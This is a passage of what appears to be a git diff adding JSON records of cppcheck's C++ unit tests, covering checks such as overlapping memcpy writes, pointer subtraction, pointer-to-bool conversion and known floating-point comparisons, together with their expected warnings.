&y;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:9] -> [test.cpp:4:12] -> [test.cpp:3:9] -> [test.cpp:4:17] -> [test.cpp:4:15]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"bool f() {\\n\"\n \" int x[2] = {1, 2}m;\\n\"\n \" int* xp = &x[0];\\n\"\n \" int* yp = &x[1];\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:4:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"bool f(const int * xp, const int* yp) {\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const int & x, const int& y) {\\n\"\n \" return &x > &y;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int& g();\\n\"\n \"bool f() {\\n\"\n \" const int& x = g();\\n\"\n \" const int& y = g();\\n\"\n \" const int* xp = &x;\\n\"\n \" const int* yp = &y;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {int data;};\\n\"\n \"bool f(A ix) {\\n\"\n \" A* x = &ix;\\n\"\n \" A* y = x;\\n\"\n \" int* xp = &x->data;\\n\"\n \" int* yp = &y->data;\\n\"\n \" return xp > yp;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) Variable 'xp' can be declared as pointer to const [constVariablePointer]\\n\"\n \"[test.cpp:6:10]: (style) Variable 'yp' can be declared as pointer to const [constVariablePointer]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\" // #11576\n \"int f(S s) {\\n\"\n \" return &s.i - (int*)&s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"int f(S s1, S s2) {\\n\"\n \" return &s1.i - reinterpret_cast(&s2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9] -> [test.cpp:3:12] -> [test.cpp:2:15] -> [test.cpp:3:43] -> [test.cpp:3:18]: (error) Subtracting pointers that point to different objects [subtractPointers]\\n\",\n errout_str());\n\n check(\"struct S { int a; int b; };\\n\" // #12422\n \"int f() {\\n\"\n \" S s;\\n\"\n \" return &s.b - &s.a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unusedVariableValueTemplate() {\n check(\"#include \\n\"\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class Hash\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" std::size_t operator()(const A& a) const\\n\"\n \" {\\n\"\n \" (void)a;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\\n\"\n \"namespace std\\n\"\n \"{\\n\"\n \" template <>\\n\"\n \" struct hash\\n\"\n \" {\\n\"\n \" std::size_t operator()(const A& a) const noexcept\\n\"\n \" {\\n\"\n \" return A::Hash{}(a);\\n\"\n \" }\\n\"\n \" };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void moduloOfOne() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = x % 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Modulo of one is always equal to zero [moduloofone]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for (int x = 1; x < 10; x++) {\\n\"\n \" int y = 100 % x;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int i, int j) {\\n\" // #11191\n \" const int c = pow(2, i);\\n\"\n \" if (j % c) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void sameExpressionPointers() {\n check(\"int f(int *i);\\n\"\n \"void g(int *a, const int *b) {\\n\"\n \" int c = *a;\\n\"\n \" f(a);\\n\"\n \" if (b && c != *a) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkOverlappingWrite() {\n // union\n check(\"void foo() {\\n\"\n \" union { int i; float f; } u;\\n\"\n \" u.i = 0;\\n\"\n \" u.i = u.f;\\n\" // <- error\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Overlapping read/write of union is undefined behavior [overlappingWriteUnion]\\n\", errout_str());\n\n check(\"void foo() {\\n\" // #11013\n \" union { struct { uint8_t a; uint8_t b; }; uint16_t c; } u;\\n\"\n \" u.a = u.b = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // memcpy\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[10];\\n\"\n \" memcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char a[8];\\n\"\n \" memcpy(&a[0], &a[4], 4u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"_Bool a[10];\\n\" // #10350\n \"void foo() {\\n\"\n \" memcpy(&a[5], &a[4], 2u * sizeof(a[0]));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"int K[2];\\n\" // #12638\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, sizeof(*p));\\n\"\n \" memcpy(p + 1, p, sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int K[2];\\n\"\n \"void f(int* p) {\\n\"\n \" memcpy(&K[0], &K[1], 2 * sizeof(K[0]));\\n\"\n \" memcpy(&K[1], &K[0], 2 *sizeof(K[0]));\\n\"\n \" memcpy(p, p + 1, 2 * sizeof(*p));\\n\"\n \" memcpy(p + 1, p, 2 * sizeof(*p));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:4:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:5:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\"\n \"[test.cpp:6:5]: (error) Overlapping read/write in memcpy() is undefined behavior [overlappingWriteFunction]\\n\",\n errout_str());\n\n // wmemcpy\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(&a[5], &a[4], 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a+5, a+4, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" wchar_t a[10];\\n\"\n \" wmemcpy(a, a+1, 2u);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Overlapping read/write in wmemcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n\n // strcpy\n check(\"void foo(char *ptr) {\\n\"\n \" strcpy(ptr, ptr);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Overlapping read/write in strcpy() is undefined behavior [overlappingWriteFunction]\\n\", errout_str());\n }\n\n void constVariableArrayMember() { // #10371\n check(\"class Foo {\\n\"\n \"public:\\n\"\n \" Foo();\\n\"\n \" int GetVal() const { return m_Arr[0]; }\\n\"\n \" int m_Arr[1];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void knownPointerToBool()\n {\n check(\"void g(bool);\\n\"\n \"void f() {\\n\"\n \" int i = 5;\\n\"\n \" int* p = &i;\\n\"\n \" g(p);\\n\"\n \" g(&i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:7]: (style) Pointer expression 'p' converted to bool is always true. [knownPointerToBool]\\n\"\n \"[test.cpp:6:7]: (style) Pointer expression '&i' converted to bool is always true. [knownPointerToBool]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int* x = nullptr;\\n\"\n \" std::empty(const_cast(x));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { bool x; };\\n\"\n \"bool f(A* a) {\\n\"\n \" if (a) {\\n\"\n \" return a->x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int* x; };\\n\"\n \"bool f(A a) {\\n\"\n \" if (a.x) {\\n\"\n \" return a.x;\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (style) Pointer expression 'a.x' converted to bool is always true. [knownPointerToBool]\\n\", errout_str());\n\n check(\"void f(bool* b) { if (b) *b = true; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return bool{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A(x);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct A { A(bool); };\\n\"\n \"A f() {\\n\"\n \" int* x = nullptr;\\n\"\n \" return A{x};\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (style) Pointer expression 'x' converted to bool is always false. [knownPointerToBool]\\n\", errout_str());\n\n check(\"struct B { virtual void f() {} };\\n\" // #11929\n \"struct D : B {};\\n\"\n \"void g(B* b) {\\n\"\n \" if (!b)\\n\"\n \" return;\\n\"\n \" if (dynamic_cast(b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool (*ptr)();\\n\" // #12170\n \"void f() {\\n\"\n \" if (!ptr || !ptr()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(bool b[2]);\\n\" // #12822\n \"void f() {\\n\"\n \" bool b[2] = {};\\n\"\n \" g(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterateByValue() {\n check(\"void f() {\\n\" // #9684\n \" const std::set ss = { \\\"a\\\", \\\"b\\\", \\\"c\\\" };\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.size();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n check(\"void f() {\\n\" // #13696\n \" struct T {\\n\"\n \" std::string name;\\n\"\n \" UnknownClass member;\\n\"\n \" };\\n\"\n \"\\n\"\n \" const std::set ss;\\n\"\n \" for (auto s : ss)\\n\"\n \" (void)s.name;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:15]: (performance) Range variable 's' should be declared as const reference. [iterateByValue]\\n\",\n errout_str());\n }\n\n void knownConditionFloating()\n {\n check(\"void foo() {\\n\" // #11200\n \" float f = 1.0;\\n\"\n \" if (f > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float f = 1.0;\\n\"\n \" if (f > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float pf = +1.0;\\n\"\n \" if (pf > 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float pf = +1.0;\\n\"\n \" if (pf > -1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'pf > -1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" float pf = +1.0;\\n\"\n \" if (pf > +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf > +1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float pf = +1.0;\\n\"\n \" if (pf < +1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'pf < 1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #11200\n \" float nf = -1.0;\\n\"\n \" if (nf > -1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:18] -> [test.cpp:3:12]: (style) The comparison 'nf > -1.0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > 1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > 1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float nf = -1.0;\\n\"\n \" if (nf > +1.0) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'nf > +1.0' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0f;\\n\"\n \" if (f > 1.00f) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00f' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0f;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n\n check(\"void foo() {\\n\"\n \" float f = 1.0;\\n\"\n \" if (f > 1.00) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:16] -> [test.cpp:3:11]: (style) The comparison 'f > 1.00' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13508\n \" float f = 1.0;\\n\"\n \" if (f > 1) {}\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:2] -> [test.cpp:3]: (style) The comparison 'f > 1' is always false.\\n\",\n \"\",\n errout_str());\n }\n\n void knownConditionPrefixed()\n {\n check(\"void foo() {\\n\"\n \" int i = 1;\\n\"\n \" if (i < +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i < 1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void foo() {\\n\" // #13506\n \" int i = 1;\\n\"\n \" if (i > +1) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:13] -> [test.cpp:3:11]: (style) The comparison 'i > +1' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n};\n\nREGISTER_TEST(TestOther)\n" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownArgument.json b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownArgument.json new file mode 100644 index 0000000..173e62c --- /dev/null +++ b/Raw Data/Static Analysis Tool/cppcheck/Rule Information/checkers/CheckOther/checkKnownArgument.json @@ -0,0 +1,22 @@ +{ + "name": "checkKnownArgument", + "language": "cpp", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "cpp", + "loc": 67, + "branches": 25, + "apis": 71, + "test": [ + { + "description": null, + "expected-problems": 1, + "expected-linenumbers": [ + 12430 + ], + "code": "\n/*\n * Cppcheck - A tool for static C/C++ code analysis\n * Copyright (C) 2007-2025 Cppcheck team.\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n */\n\n#include \"checkother.h\"\n#include \"errortypes.h\"\n#include \"fixture.h\"\n#include \"helpers.h\"\n#include \"platform.h\"\n#include \"settings.h\"\n#include \"standards.h\"\n\n#include \n#include \n\nclass TestOther : public TestFixture {\npublic:\n TestOther() : TestFixture(\"TestOther\") {}\n\nprivate:\n /*const*/ Settings _settings = settingsBuilder().library(\"std.cfg\").build();\n\n void run() override {\n mNewTemplate = true;\n TEST_CASE(emptyBrackets);\n\n TEST_CASE(zeroDiv1);\n TEST_CASE(zeroDiv2);\n TEST_CASE(zeroDiv3);\n TEST_CASE(zeroDiv4);\n TEST_CASE(zeroDiv5);\n TEST_CASE(zeroDiv6);\n TEST_CASE(zeroDiv7); // #4930\n TEST_CASE(zeroDiv8);\n TEST_CASE(zeroDiv9);\n TEST_CASE(zeroDiv10);\n TEST_CASE(zeroDiv11);\n TEST_CASE(zeroDiv12);\n TEST_CASE(zeroDiv13);\n TEST_CASE(zeroDiv14); // #1169\n TEST_CASE(zeroDiv15); // #8319\n TEST_CASE(zeroDiv16); // #11158\n TEST_CASE(zeroDiv17); // #9931\n TEST_CASE(zeroDiv18);\n TEST_CASE(zeroDiv19);\n TEST_CASE(zeroDiv20); // #11175\n TEST_CASE(zeroDiv21);\n TEST_CASE(zeroDiv22);\n\n TEST_CASE(zeroDivCond); // division by zero / useless condition\n\n TEST_CASE(nanInArithmeticExpression);\n\n TEST_CASE(varScope1);\n TEST_CASE(varScope2);\n TEST_CASE(varScope3);\n TEST_CASE(varScope4);\n TEST_CASE(varScope5);\n TEST_CASE(varScope6);\n TEST_CASE(varScope7);\n TEST_CASE(varScope8);\n TEST_CASE(varScope9); // classes may have extra side-effects\n TEST_CASE(varScope10); // Undefined macro FOR\n TEST_CASE(varScope11); // #2475 - struct initialization is not inner scope\n TEST_CASE(varScope12);\n TEST_CASE(varScope13); // variable usage in inner loop\n TEST_CASE(varScope14);\n TEST_CASE(varScope15); // #4573 if-else-if\n TEST_CASE(varScope16);\n TEST_CASE(varScope17);\n TEST_CASE(varScope18);\n TEST_CASE(varScope20); // Ticket #5103\n TEST_CASE(varScope21); // Ticket #5382\n TEST_CASE(varScope22); // Ticket #5684\n TEST_CASE(varScope23); // Ticket #6154\n TEST_CASE(varScope24); // pointer / reference\n TEST_CASE(varScope25); // time_t\n TEST_CASE(varScope26); // range for loop, map\n TEST_CASE(varScope27); // #7733 - #if\n TEST_CASE(varScope28); // #10527\n TEST_CASE(varScope29); // #10888\n TEST_CASE(varScope30); // #8541\n TEST_CASE(varScope31); // #11099\n TEST_CASE(varScope32); // #11441\n TEST_CASE(varScope33);\n TEST_CASE(varScope34);\n TEST_CASE(varScope35);\n TEST_CASE(varScope36); // #12158\n TEST_CASE(varScope37); // #12158\n TEST_CASE(varScope38);\n TEST_CASE(varScope39);\n TEST_CASE(varScope40);\n TEST_CASE(varScope41); // #11845\n TEST_CASE(varScope42);\n TEST_CASE(varScope43);\n\n TEST_CASE(oldStylePointerCast);\n TEST_CASE(intToPointerCast);\n TEST_CASE(invalidPointerCast);\n\n TEST_CASE(passedByValue);\n TEST_CASE(passedByValue_nonConst);\n TEST_CASE(passedByValue_externC);\n\n TEST_CASE(constVariable);\n TEST_CASE(constParameterCallback);\n TEST_CASE(constPointer);\n TEST_CASE(constArray);\n\n TEST_CASE(switchRedundantAssignmentTest);\n TEST_CASE(switchRedundantOperationTest);\n TEST_CASE(switchRedundantBitwiseOperationTest);\n TEST_CASE(unreachableCode);\n TEST_CASE(redundantContinue);\n\n TEST_CASE(suspiciousCase);\n TEST_CASE(suspiciousEqualityComparison);\n TEST_CASE(suspiciousUnaryPlusMinus); // #8004\n TEST_CASE(suspiciousFloatingPointCast);\n\n TEST_CASE(selfAssignment);\n TEST_CASE(trac1132);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction1);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunction2);\n TEST_CASE(testMisusedScopeObjectPicksClass);\n TEST_CASE(testMisusedScopeObjectPicksStruct);\n TEST_CASE(testMisusedScopeObjectDoesNotPickIf);\n TEST_CASE(testMisusedScopeObjectDoesNotPickConstructorDeclaration);\n TEST_CASE(testMisusedScopeObjectDoesNotPickFunctor);\n TEST_CASE(testMisusedScopeObjectDoesNotPickLocalClassConstructors);\n TEST_CASE(testMisusedScopeObjectDoesNotPickUsedObject);\n TEST_CASE(testMisusedScopeObjectDoesNotPickPureC);\n TEST_CASE(testMisusedScopeObjectDoesNotPickNestedClass);\n TEST_CASE(testMisusedScopeObjectInConstructor);\n TEST_CASE(testMisusedScopeObjectStandardType);\n TEST_CASE(testMisusedScopeObjectNamespace);\n TEST_CASE(testMisusedScopeObjectAssignment); // #11371\n TEST_CASE(trac2071);\n TEST_CASE(trac2084);\n TEST_CASE(trac3693);\n\n TEST_CASE(clarifyCalculation);\n TEST_CASE(clarifyStatement);\n\n TEST_CASE(duplicateBranch);\n TEST_CASE(duplicateBranch1); // tests extracted by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck ): Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n TEST_CASE(duplicateBranch2); // empty macro\n TEST_CASE(duplicateBranch3);\n TEST_CASE(duplicateBranch4);\n TEST_CASE(duplicateBranch5); // make sure the Token attributes are compared\n TEST_CASE(duplicateBranch6);\n TEST_CASE(duplicateExpression1);\n TEST_CASE(duplicateExpression2); // ticket #2730\n TEST_CASE(duplicateExpression3); // ticket #3317\n TEST_CASE(duplicateExpression4); // ticket #3354 (++)\n TEST_CASE(duplicateExpression5); // ticket #3749 (macros with same values)\n TEST_CASE(duplicateExpression6); // ticket #4639\n TEST_CASE(duplicateExpression7);\n TEST_CASE(duplicateExpression8);\n TEST_CASE(duplicateExpression9); // #9320\n TEST_CASE(duplicateExpression10); // #9485\n TEST_CASE(duplicateExpression11); // #8916 (function call)\n TEST_CASE(duplicateExpression12); // #10026\n TEST_CASE(duplicateExpression13); // #7899\n TEST_CASE(duplicateExpression14); // #9871\n TEST_CASE(duplicateExpression15); // #10650\n TEST_CASE(duplicateExpression16); // #10569\n TEST_CASE(duplicateExpression17); // #12036\n TEST_CASE(duplicateExpression18);\n TEST_CASE(duplicateExpressionLoop);\n TEST_CASE(duplicateValueTernary);\n TEST_CASE(duplicateExpressionTernary); // #6391\n TEST_CASE(duplicateExpressionTemplate); // #6930\n TEST_CASE(duplicateExpressionCompareWithZero);\n TEST_CASE(oppositeExpression);\n TEST_CASE(duplicateVarExpression);\n TEST_CASE(duplicateVarExpressionUnique);\n TEST_CASE(duplicateVarExpressionAssign);\n TEST_CASE(duplicateVarExpressionCrash);\n TEST_CASE(multiConditionSameExpression);\n\n TEST_CASE(checkSignOfUnsignedVariable);\n TEST_CASE(checkSignOfPointer);\n\n TEST_CASE(checkSuspiciousSemicolon1);\n TEST_CASE(checkSuspiciousSemicolon2);\n TEST_CASE(checkSuspiciousSemicolon3);\n TEST_CASE(checkSuspiciousComparison);\n\n TEST_CASE(checkInvalidFree);\n\n TEST_CASE(checkRedundantCopy);\n\n TEST_CASE(checkNegativeShift);\n\n TEST_CASE(incompleteArrayFill);\n\n TEST_CASE(redundantVarAssignment);\n TEST_CASE(redundantVarAssignment_trivial);\n TEST_CASE(redundantVarAssignment_struct);\n TEST_CASE(redundantVarAssignment_union);\n TEST_CASE(redundantVarAssignment_7133);\n TEST_CASE(redundantVarAssignment_stackoverflow);\n TEST_CASE(redundantVarAssignment_lambda);\n TEST_CASE(redundantVarAssignment_loop);\n TEST_CASE(redundantVarAssignment_after_switch);\n TEST_CASE(redundantVarAssignment_pointer);\n TEST_CASE(redundantVarAssignment_pointer_parameter);\n TEST_CASE(redundantVarAssignment_array);\n TEST_CASE(redundantVarAssignment_switch_break);\n TEST_CASE(redundantInitialization);\n //TEST_CASE(redundantMemWrite); // FIXME: temporary hack\n TEST_CASE(redundantAssignmentSameValue);\n\n TEST_CASE(varFuncNullUB);\n\n TEST_CASE(checkCastIntToCharAndBack); // ticket #160\n\n TEST_CASE(checkCommaSeparatedReturn);\n TEST_CASE(checkPassByReference);\n\n TEST_CASE(checkComparisonFunctionIsAlwaysTrueOrFalse);\n\n TEST_CASE(integerOverflow); // #5895\n\n TEST_CASE(redundantPointerOp);\n TEST_CASE(test_isSameExpression);\n TEST_CASE(raceAfterInterlockedDecrement);\n\n TEST_CASE(testUnusedLabel);\n\n TEST_CASE(testEvaluationOrder);\n TEST_CASE(testEvaluationOrderSelfAssignment);\n TEST_CASE(testEvaluationOrderMacro);\n TEST_CASE(testEvaluationOrderSequencePointsFunctionCall);\n TEST_CASE(testEvaluationOrderSequencePointsComma);\n TEST_CASE(testEvaluationOrderSizeof);\n\n TEST_CASE(testUnsignedLessThanZero);\n\n TEST_CASE(doubleMove1);\n TEST_CASE(doubleMoveMemberInitialization1);\n TEST_CASE(doubleMoveMemberInitialization2);\n TEST_CASE(doubleMoveMemberInitialization3); // #9974\n TEST_CASE(doubleMoveMemberInitialization4);\n TEST_CASE(moveAndAssign1);\n TEST_CASE(moveAndAssign2);\n TEST_CASE(moveAssignMoveAssign);\n TEST_CASE(moveAndReset1);\n TEST_CASE(moveAndReset2);\n TEST_CASE(moveResetMoveReset);\n TEST_CASE(moveAndFunctionParameter);\n TEST_CASE(moveAndFunctionParameterReference);\n TEST_CASE(moveAndFunctionParameterConstReference);\n TEST_CASE(moveAndFunctionParameterUnknown);\n TEST_CASE(moveAndReturn);\n TEST_CASE(moveAndClear);\n TEST_CASE(movedPointer);\n TEST_CASE(moveAndAddressOf);\n TEST_CASE(partiallyMoved);\n TEST_CASE(moveAndLambda);\n TEST_CASE(moveInLoop);\n TEST_CASE(moveCallback);\n TEST_CASE(moveClassVariable);\n TEST_CASE(forwardAndUsed);\n TEST_CASE(moveAndReference);\n TEST_CASE(moveForRange);\n TEST_CASE(moveTernary);\n TEST_CASE(movePointerAlias);\n\n TEST_CASE(funcArgNamesDifferent);\n TEST_CASE(funcArgOrderDifferent);\n TEST_CASE(cpp11FunctionArgInit); // #7846 - \"void foo(int declaration = {}) {\"\n\n TEST_CASE(shadowVariables);\n TEST_CASE(knownArgument);\n 